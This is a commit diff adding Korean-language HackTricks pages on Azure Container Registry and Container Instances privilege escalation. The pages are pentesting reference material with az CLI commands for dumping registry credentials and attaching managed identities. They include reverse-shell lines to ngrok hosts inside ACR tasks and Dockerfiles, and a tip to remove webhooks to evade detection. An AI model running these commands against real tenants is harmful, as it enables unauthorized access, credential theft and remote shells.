mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation
This commit is contained in:
+8
-4
@@ -408,6 +408,8 @@
|
||||
- [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
|
||||
- [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md)
|
||||
- [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md)
|
||||
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-registry.md)
|
||||
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-instances.md)
|
||||
- [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB.md)
|
||||
- [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md)
|
||||
- [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md)
|
||||
@@ -445,7 +447,7 @@
|
||||
- [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md)
|
||||
- [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md)
|
||||
- [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md)
|
||||
- [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB-post-exploitation.md)
|
||||
- [Az - CosmosDB](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md)
|
||||
- [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md)
|
||||
- [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md)
|
||||
- [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md)
|
||||
@@ -460,14 +462,16 @@
|
||||
- [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md)
|
||||
- [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md)
|
||||
- [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md)
|
||||
- [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md)
|
||||
- [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-services/az-container-registry-privesc.md)
|
||||
- [Az - Container Instances Privesc](pentesting-cloud/azure-security/az-services/az-container-instances-privesc.md)
|
||||
- [Az - CosmosDB Privesc](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md)
|
||||
- [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md)
|
||||
- [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md)
|
||||
- [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md)
|
||||
- [Az - Functions App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md)
|
||||
- [Az - Key Vault Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md)
|
||||
- [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md)
|
||||
- [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md)
|
||||
- [Az - MySQL Privesc](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md)
|
||||
- [Az - PostgreSQL Privesc](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md)
|
||||
- [Az - Queue Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md)
|
||||
- [Az - Service Bus Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md)
|
||||
- [Az - Static Web App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md)
|
||||
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 33 KiB |
+64
@@ -0,0 +1,64 @@
|
||||
# Az - Azure Container Instances Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Container Instances
|
||||
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-container-instances.md
|
||||
{{#endref}}
|
||||
|
||||
### `Microsoft.ContainerInstance/containerGroups/read`, `Microsoft.ContainerInstance/containerGroups/containers/exec/action`
|
||||
|
||||
이 권한은 사용자가 실행 중인 컨테이너에서 **명령을 실행**할 수 있게 해줍니다. 이는 컨테이너에 관리되는 ID가 연결되어 있는 경우 **권한 상승**에 사용될 수 있습니다. 물론, 컨테이너 내부에 저장된 소스 코드 및 기타 민감한 정보에 접근하는 것도 가능합니다.
|
||||
|
||||
`ls`를 실행하고 출력을 얻는 것은 다음과 같이 간단합니다:
|
||||
```bash
|
||||
az container exec --name <container-name> --resource-group <res-group> --exec-command 'ls'
|
||||
```
|
||||
컨테이너의 **출력을 읽는** 것도 가능합니다:
|
||||
```bash
|
||||
az container attach --name <container-name> --resource-group <res-group>
|
||||
```
|
||||
로그를 가져오려면:
|
||||
```bash
|
||||
az container logs --name <container-name> --resource-group <res-group>
|
||||
```
|
||||
### `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
이 권한은 **사용자 관리 ID**를 컨테이너 그룹에 연결할 수 있게 해줍니다. 이는 컨테이너에서 권한을 상승시키는 데 매우 유용합니다.
|
||||
|
||||
사용자 관리 ID를 컨테이너 그룹에 연결하려면:
|
||||
```bash
|
||||
az rest \
|
||||
--method PATCH \
|
||||
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
|
||||
--body '{
|
||||
"identity": {
|
||||
"type": "UserAssigned",
|
||||
"userAssignedIdentities": {
|
||||
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
|
||||
}
|
||||
}
|
||||
}' \
|
||||
--headers "Content-Type=application/json"
|
||||
```
|
||||
### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
이 권한은 **사용자 관리 ID**가 연결된 **컨테이너 그룹을 생성하거나 업데이트**할 수 있게 해줍니다. 이는 컨테이너에서 권한을 상승시키는 데 매우 유용합니다.
|
||||
```bash
|
||||
az container create \
|
||||
--resource-group <res-group>> \
|
||||
--name nginx2 \
|
||||
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
|
||||
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
|
||||
--restart-policy OnFailure \
|
||||
--os-type Linux \
|
||||
--cpu 1 \
|
||||
--memory 1.0
|
||||
```
|
||||
또한, 기존 컨테이너 그룹을 업데이트하여 예를 들어 **`--command-line` 인수**를 추가하여 리버스 셸을 설정하는 것도 가능합니다.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+115
@@ -0,0 +1,115 @@
|
||||
# Az - Azure Container Registry Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Container Registry
|
||||
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-container-registry.md
|
||||
{{#endref}}
|
||||
|
||||
### `Microsoft.ContainerRegistry/registries/listCredentials/action`
|
||||
|
||||
이 권한은 사용자가 ACR의 관리자 자격 증명을 나열할 수 있도록 허용합니다. 이는 레지스트리에 **전체 액세스**를 얻는 데 유용합니다.
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>/listCredentials?api-version=2023-11-01-preview"
|
||||
```
|
||||
관리자 자격 증명이 활성화되지 않은 경우, 다음을 사용하여 이를 활성화하려면 `Microsoft.ContainerRegistry/registries/write` 권한도 필요합니다:
|
||||
```bash
|
||||
az rest --method PATCH --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}'
|
||||
```
|
||||
### `Microsoft.ContainerRegistry/registries/tokens/write`, `Microsoft.ContainerRegistry/registries/generateCredentials/action`
|
||||
|
||||
이 권한은 사용자가 **레지스트리에 접근할 수 있는 비밀번호가 포함된 새 토큰을 생성**할 수 있도록 허용합니다.
|
||||
|
||||
다음 예와 같이 `az cli`를 사용하여 생성하려면 `Microsoft.ContainerRegistry/registries/read`, `Microsoft.ContainerRegistry/registries/scopeMaps/read`, `Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read`, `Microsoft.ContainerRegistry/registries/tokens/read` 권한도 필요합니다.
|
||||
```bash
|
||||
az acr token create \
|
||||
--registry <registry-name> \
|
||||
--name <token-name> \
|
||||
--scope-map _repositories_admin
|
||||
```
|
||||
### `Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action`, `Microsoft.ContainerRegistry/registries/scheduleRun/action`, `Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action`
|
||||
|
||||
이 권한은 사용자가 **레지스트리에서 이미지를 빌드하고 실행**할 수 있도록 허용합니다. 이는 **컨테이너에서 코드를 실행**하는 데 사용될 수 있습니다.
|
||||
|
||||
>[!WARNING]
|
||||
> 그러나 이미지는 **샌드박스 환경**에서 실행되며 **메타데이터 서비스에 접근할 수 없습니다**. 이는 컨테이너가 **인스턴스 메타데이터**에 접근할 수 없음을 의미하므로, 이는 실제로 권한 상승에 유용하지 않습니다.
|
||||
```bash
|
||||
# Build
|
||||
echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile
|
||||
az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null
|
||||
```
|
||||
### `Microsoft.ContainerRegistry/registries/tasks/write`
|
||||
|
||||
이것은 레지스트리에서 작업을 생성하고 업데이트할 수 있는 주요 권한입니다. 이는 **관리되는 ID가 연결된 컨테이너 내에서 코드를 실행하는 데 사용될 수 있습니다**.
|
||||
|
||||
다음은 **시스템 관리** ID가 연결된 컨테이너에서 리버스 쉘을 실행하는 방법의 예입니다:
|
||||
```bash
|
||||
az acr task create \
|
||||
--registry <registry-name> \
|
||||
--name reverse-shell-task \
|
||||
--image rev/shell:v1 \
|
||||
--file ./Dockerfile \
|
||||
--context https://github.com/carlospolop/Docker-rev.git \
|
||||
--assign-identity \
|
||||
--commit-trigger-enabled false \
|
||||
--schedule "*/1 * * * *"
|
||||
```
|
||||
작업에서 외부 리포지토리를 사용하지 않고 RCE를 얻는 또 다른 방법은 `az acr task create` 명령을 `--cmd` 플래그와 함께 사용하는 것입니다. 이렇게 하면 컨테이너에서 명령을 실행할 수 있습니다. 예를 들어, 다음 명령으로 리버스 셸을 실행할 수 있습니다:
|
||||
```bash
|
||||
az acr task create \
|
||||
--registry <registry-name> \
|
||||
--name reverse-shell-task-cmd \
|
||||
--image rev/shell2:v1 \
|
||||
--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \
|
||||
--schedule "*/1 * * * *" \
|
||||
--context /dev/null \
|
||||
--commit-trigger-enabled false \
|
||||
--assign-identity
|
||||
```
|
||||
> [!TIP]
|
||||
> 시스템 관리 ID를 할당하는 데 특별한 권한이 필요하지 않지만, 레지스트리에서 미리 활성화되고 유용하게 사용될 수 있도록 일부 권한이 할당되어 있어야 합니다.
|
||||
|
||||
**사용자 관리 ID**를 할당하려면 `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` 권한이 필요합니다:
|
||||
```bash
|
||||
az acr task create \
|
||||
--registry <registry-name> \
|
||||
--name reverse-shell-task \
|
||||
--image rev/shell:v1 \
|
||||
--file ./Dockerfile \
|
||||
--context https://github.com/carlospolop/Docker-rev.git \
|
||||
--assign-identity \[system\] "/subscriptions/<subscription-id>>/resourcegroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>" \
|
||||
--commit-trigger-enabled false \
|
||||
--schedule "*/1 * * * *"
|
||||
```
|
||||
기존 작업의 리포를 **업데이트**하려면 다음을 수행할 수 있습니다:
|
||||
```bash
|
||||
az acr task update \
|
||||
--registry <registry-name> \
|
||||
--name reverse-shell-task \
|
||||
--context https://github.com/your-user/your-repo.git
|
||||
```
|
||||
### `Microsoft.ContainerRegistry/registries/importImage/action`
|
||||
|
||||
이 권한을 사용하면 **로컬에 이미지가 없어도 azure 레지스트리에 이미지를 가져올 수 있습니다**. 그러나 **레지스트리에 이미 존재하는 태그가 있는 이미지는 가져올 수 없습니다**.
|
||||
```bash
|
||||
# Push with az cli
|
||||
az acr import \
|
||||
--name <registry-name> \
|
||||
--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import
|
||||
```
|
||||
특정 이미지 태그를 레지스트리에서 **태그 제거 또는 삭제**하려면 다음 명령어를 사용할 수 있습니다. 그러나 이를 수행하려면 **충분한 권한**이 있는 사용자 또는 토큰이 필요합니다:
|
||||
```bash
|
||||
az acr repository untag \
|
||||
--name <registry-name> \
|
||||
--image <image-name>:<tag>
|
||||
|
||||
az acr repository delete \
|
||||
--name <registry-name> \
|
||||
--image <image-name>:<tag>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,47 @@
|
||||
# Az - Container Instances
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
Azure Container Instances (ACI)는 Azure 클라우드에서 **서버리스, 온디맨드 방식**으로 **컨테이너**를 실행할 수 있는 방법을 제공합니다. **확장 가능한 컴퓨트**, **네트워킹 옵션**, 및 **다른 Azure 서비스**(예: Storage, Virtual Networks, 또는 Container Registries)에 연결할 수 있는 유연성을 갖춘 단일 또는 여러 컨테이너를 그룹으로 **배포**할 수 있습니다.
|
||||
|
||||
이들은 **일시적인** 작업이기 때문에 기본 VM 인프라를 관리할 필요가 없습니다 — Azure가 이를 처리합니다. 그러나 **공격적인 보안 관점**에서 **권한**, **아이덴티티**, **네트워크 구성**, 및 **로그**가 공격 표면과 잠재적인 잘못된 구성을 드러낼 수 있는 방법을 이해하는 것이 중요합니다.
|
||||
|
||||
|
||||
### Configurations
|
||||
|
||||
- 컨테이너를 생성하기 위해 공용 이미지, Azure Container Registry의 컨테이너 이미지 또는 외부 리포지토리를 사용할 수 있으며, 이를 접근하기 위해 **비밀번호를 구성해야 할 수도 있습니다**.
|
||||
- 네트워킹과 관련하여 **공용 IP**를 가질 수도 있고 **프라이빗 엔드포인트**가 될 수도 있습니다.
|
||||
- 다음과 같은 일반적인 도커 설정을 구성할 수도 있습니다:
|
||||
- **환경 변수**
|
||||
- **볼륨** (Azure Files에서조차)
|
||||
- **포트**
|
||||
- **CPU 및 메모리 한도**
|
||||
- **재시작 정책**
|
||||
- **특권으로 실행**
|
||||
- **실행할 명령줄**
|
||||
- ...
|
||||
|
||||
|
||||
## Enumeration
|
||||
|
||||
> [!WARNING]
|
||||
> ACI를 열거할 때 **환경 변수**, **네트워크 세부정보**, 또는 **관리되는 아이덴티티**와 같은 민감한 구성을 드러낼 수 있습니다. 이를 기록하거나 표시할 때 주의하십시오.
|
||||
```bash
|
||||
# List all container instances in the subscription
|
||||
az container list
|
||||
|
||||
# Show detailed information about a specific container instance
|
||||
az container show --name <container-name> --resource-group <res-group>
|
||||
|
||||
# Fetch logs from a container
|
||||
az container logs --name <container-name> --resource-group <res-group>
|
||||
|
||||
# Execute a command in a running container and get the output
|
||||
az container exec --name <container-name> --resource-group <res-group> --exec-command "ls"
|
||||
|
||||
# Get yaml configuration of the container group
|
||||
az container export --name <container-name> --resource-group <res-group>
|
||||
```
|
||||
|
||||
@@ -0,0 +1,157 @@
|
||||
# Az - Container Registry
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 기본 정보
|
||||
|
||||
Azure Container Registry (ACR)는 **Azure 클라우드에서 컨테이너 이미지를 저장, 관리 및 액세스할 수 있는 안전하고 개인적인 레지스트리**입니다. 여러 Azure 서비스와 원활하게 통합되어 대규모 자동화된 빌드 및 배포 워크플로를 제공합니다. 지리적 복제 및 취약성 스캔과 같은 기능을 통해 ACR은 컨테이너화된 애플리케이션에 대한 기업 수준의 보안 및 규정 준수를 보장합니다.
|
||||
|
||||
### 권한
|
||||
|
||||
Container Registry에 부여할 수 있는 **다양한 권한**은 [문서에 따라](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) 다음과 같습니다:
|
||||
|
||||
- 리소스 관리자 액세스
|
||||
- 레지스트리 생성/삭제
|
||||
- 이미지 푸시
|
||||
- 이미지 풀
|
||||
- 이미지 데이터 삭제
|
||||
- 정책 변경
|
||||
- 이미지 서명
|
||||
|
||||
또한 할당할 수 있는 **내장 역할**이 있으며, **사용자 정의 역할**을 생성하는 것도 가능합니다.
|
||||
|
||||

|
||||
|
||||
### 인증
|
||||
|
||||
> [!WARNING]
|
||||
> 레지스트리 이름에 대문자가 포함되어 있더라도 **소문자**를 사용하여 로그인, 푸시 및 풀 이미지를 수행하는 것이 매우 중요합니다.
|
||||
|
||||
ACR에 인증하는 방법은 4가지가 있습니다:
|
||||
|
||||
- **Entra ID로**: ACR에 인증하는 **기본** 방법입니다. **`az acr login`** 명령을 사용하여 ACR에 인증합니다. 이 명령은 **`~/.docker/config.json`** 파일에 **자격 증명**을 **저장**합니다. 또한, **클라우드 셸**과 같이 도커 소켓에 액세스할 수 없는 환경에서 이 명령을 실행하는 경우, **`--expose-token`** 플래그를 사용하여 ACR에 인증하기 위한 **토큰**을 얻을 수 있습니다. 그런 다음 인증하려면 사용자 이름으로 `00000000-0000-0000-0000-000000000000`을 사용해야 하며, 예를 들어: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
|
||||
- **관리자 계정으로**: 관리자 사용자는 기본적으로 비활성화되어 있지만 활성화할 수 있으며, 그러면 레지스트리에 대한 **사용자 이름**과 **비밀번호**를 사용하여 전체 권한으로 액세스할 수 있습니다. 일부 Azure 서비스에서 사용되기 때문에 여전히 지원됩니다. 이 사용자에 대해 **2개의 비밀번호**가 생성되며 둘 다 유효합니다. `az acr update -n <acrName> --admin-enabled true`로 활성화할 수 있습니다. 사용자 이름은 일반적으로 레지스트리 이름입니다(즉, `admin`이 아님).
|
||||
- **토큰으로**: 레지스트리에 액세스하기 위해 **특정 `scope map`**(권한)으로 **토큰**을 생성할 수 있습니다. 그런 다음 이 토큰 이름을 사용자 이름으로 사용하고 생성된 비밀번호 중 일부를 사용하여 `docker login -u <registry-name> -p <password> aregistry-url>`로 레지스트리에 인증할 수 있습니다.
|
||||
- **서비스 주체로**: **서비스 주체**를 생성하고 이미지를 풀하기 위해 **`AcrPull`**과 같은 역할을 할당할 수 있습니다. 그런 다음 SP appId를 사용자 이름으로 사용하고 생성된 비밀을 비밀번호로 사용하여 **레지스트리에 로그인**할 수 있습니다.
|
||||
|
||||
레지스트리에 대한 액세스 권한이 있는 SP를 생성하기 위한 [문서의 예제 스크립트](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal):
|
||||
```bash
|
||||
#!/bin/bash
|
||||
ACR_NAME=$containerRegistry
|
||||
SERVICE_PRINCIPAL_NAME=$servicePrincipal
|
||||
|
||||
# Obtain the full registry ID
|
||||
ACR_REGISTRY_ID=$(az acr show --name $ACR_NAME --query "id" --output tsv)
|
||||
|
||||
PASSWORD=$(az ad sp create-for-rbac --name $SERVICE_PRINCIPAL_NAME --scopes $ACR_REGISTRY_ID --role acrpull --query "password" --output tsv)
|
||||
USER_NAME=$(az ad sp list --display-name $SERVICE_PRINCIPAL_NAME --query "[].appId" --output tsv)
|
||||
|
||||
echo "Service principal ID: $USER_NAME"
|
||||
echo "Service principal password: $PASSWORD"
|
||||
```
|
||||
### Encryption
|
||||
|
||||
오직 **프리미엄 SKU**만이 이미지 및 기타 아티팩트에 대한 **정지 시 암호화**를 지원합니다.
|
||||
|
||||
### Networking
|
||||
|
||||
오직 **프리미엄 SKU**만이 **프라이빗 엔드포인트**를 지원합니다. 다른 SKU는 **공개 액세스**만 지원합니다. 공개 엔드포인트는 `<registry-name>.azurecr.io` 형식을 가지며, 프라이빗 엔드포인트는 `<registry-name>.privatelink.azurecr.io` 형식을 가집니다. 이러한 이유로 레지스트리의 이름은 모든 Azure에서 고유해야 합니다.
|
||||
|
||||
### Microsoft Defender for Cloud
|
||||
|
||||
이 기능은 레지스트리에서 **이미지 스캔**을 통해 **취약점**을 확인할 수 있게 해줍니다.
|
||||
|
||||
### Soft-delete
|
||||
|
||||
**소프트 삭제** 기능은 지정된 일수 내에 **삭제된 레지스트리**를 **복구**할 수 있게 해줍니다. 이 기능은 **기본적으로 비활성화**되어 있습니다.
|
||||
|
||||
### Webhooks
|
||||
|
||||
레지스트리 내에서 **웹훅을 생성**하는 것이 가능합니다. 이 웹훅에서는 **푸시 또는 삭제 작업이 수행될 때 요청이 전송될 URL**을 지정해야 합니다. 또한, 웹훅은 영향을 받을 리포지토리(이미지)를 나타내기 위해 범위를 지정할 수 있습니다. 예를 들어, 'foo:*'는 리포지토리 'foo' 아래의 이벤트를 의미합니다.
|
||||
|
||||
공격자의 관점에서 볼 때, 레지스트리에서 **어떤 작업을 수행하기 전에** 이를 확인하고 필요시 일시적으로 제거하여 탐지를 피하는 것이 흥미롭습니다.
|
||||
|
||||
### Connected registries
|
||||
|
||||
이 기능은 기본적으로 한 레지스트리에서 다른 레지스트리로 이미지를 **미러링**할 수 있게 해주며, 일반적으로 온프레미스에 위치합니다.
|
||||
|
||||
두 가지 모드가 있습니다: **읽기 전용** 및 **읽기/쓰기**. 첫 번째 모드에서는 이미지를 소스 레지스트리에서 **가져오기**만 하고, 두 번째 모드에서는 이미지를 소스 레지스트리에 **푸시**할 수 있습니다.
|
||||
|
||||
클라이언트가 Azure에서 레지스트리에 접근할 수 있도록, 연결된 레지스트리를 사용할 때 **토큰**이 생성됩니다.
|
||||
|
||||
### Runs & Tasks
|
||||
|
||||
Runs & Tasks는 Azure에서 일반적으로 로컬 또는 CI/CD 파이프라인에서 수행해야 했던 컨테이너 관련 작업을 실행할 수 있게 해줍니다. 예를 들어, 레지스트리에서 **이미지를 빌드, 푸시 및 실행**할 수 있습니다.
|
||||
|
||||
컨테이너를 빌드하고 실행하는 가장 쉬운 방법은 일반 Run을 사용하는 것입니다:
|
||||
```bash
|
||||
# Build
|
||||
echo "FROM mcr.microsoft.com/hello-world" > Dockerfile
|
||||
az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --file Dockerfile .
|
||||
|
||||
# Run
|
||||
az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null
|
||||
```
|
||||
그러나, 이는 공격자의 관점에서 그다지 흥미롭지 않은 실행을 트리거할 것입니다. 왜냐하면 그들에게는 관리되는 ID가 연결되어 있지 않기 때문입니다.
|
||||
|
||||
그러나, **tasks**는 **system and user managed identity**를 가질 수 있습니다. 이러한 작업은 컨테이너에서 **privileges**를 **escalate**하는 데 유용합니다. 권한 상승 섹션에서는 작업을 사용하여 권한을 상승시키는 방법을 볼 수 있습니다.
|
||||
|
||||
### Cache
|
||||
|
||||
캐시 기능은 **외부 리포지토리에서 이미지를 다운로드**하고 새로운 버전을 레지스트리에 저장할 수 있게 해줍니다. 이를 위해 Azure Vault에서 자격 증명을 선택하여 **credentials configured**를 설정해야 합니다.
|
||||
|
||||
이는 공격자의 관점에서 매우 흥미롭습니다. 왜냐하면 공격자가 자격 증명에 접근할 수 있는 충분한 권한이 있다면 **외부 플랫폼으로 피벗**할 수 있고, **외부 리포지토리에서 이미지를 다운로드**하고 캐시를 구성하는 것은 **persistence mechanism**으로도 사용될 수 있기 때문입니다.
|
||||
|
||||
## Enumeration
|
||||
|
||||
> [!WARNING]
|
||||
> 레지스트리 이름에 대문자가 포함되어 있더라도, 이를 접근하기 위한 URL에서는 소문자만 사용해야 한다는 것이 매우 중요합니다.
|
||||
```bash
|
||||
# List of all the registries
|
||||
# Check the network, managed identities, adminUserEnabled, softDeletePolicy, url...
|
||||
az acr list
|
||||
|
||||
# Get the details of a registry
|
||||
az acr show --name <registry-name>
|
||||
|
||||
# List tokens of a registry
|
||||
az acr token list --registry <registry-name> --resource-group <res-group>
|
||||
|
||||
# List repositories in a registry
|
||||
az acr repository list --name <registry-name> --resource-group <res-group>
|
||||
|
||||
# List the tags of a repository
|
||||
az acr repository show-tags --repository <repository-name> --name <registry-name> --resource-group <res-group>
|
||||
|
||||
# List deleted repository tags
|
||||
## At the time of this writing there isn't yet any command to restore it
|
||||
az acr repository list-deleted --name <registry-name>
|
||||
|
||||
# List tasks
|
||||
## Check the git URL or the command
|
||||
az acr task list --registry <registry-name>
|
||||
|
||||
# List tasks runs
|
||||
az acr task list-runs --registry <registry-name>
|
||||
|
||||
# List connected registries
|
||||
az acr connected-registry list --registry <registry-name>
|
||||
|
||||
# List cache
|
||||
az acr cache list --registry <registry-name>
|
||||
|
||||
# Get cache details
|
||||
az acr cache show --name <cache-name> --registry <registry-name>
|
||||
```
|
||||
## 권한 상승 및 포스트 익스플로잇
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-automation-accounts-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## 참고 문헌
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli)
|
||||
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user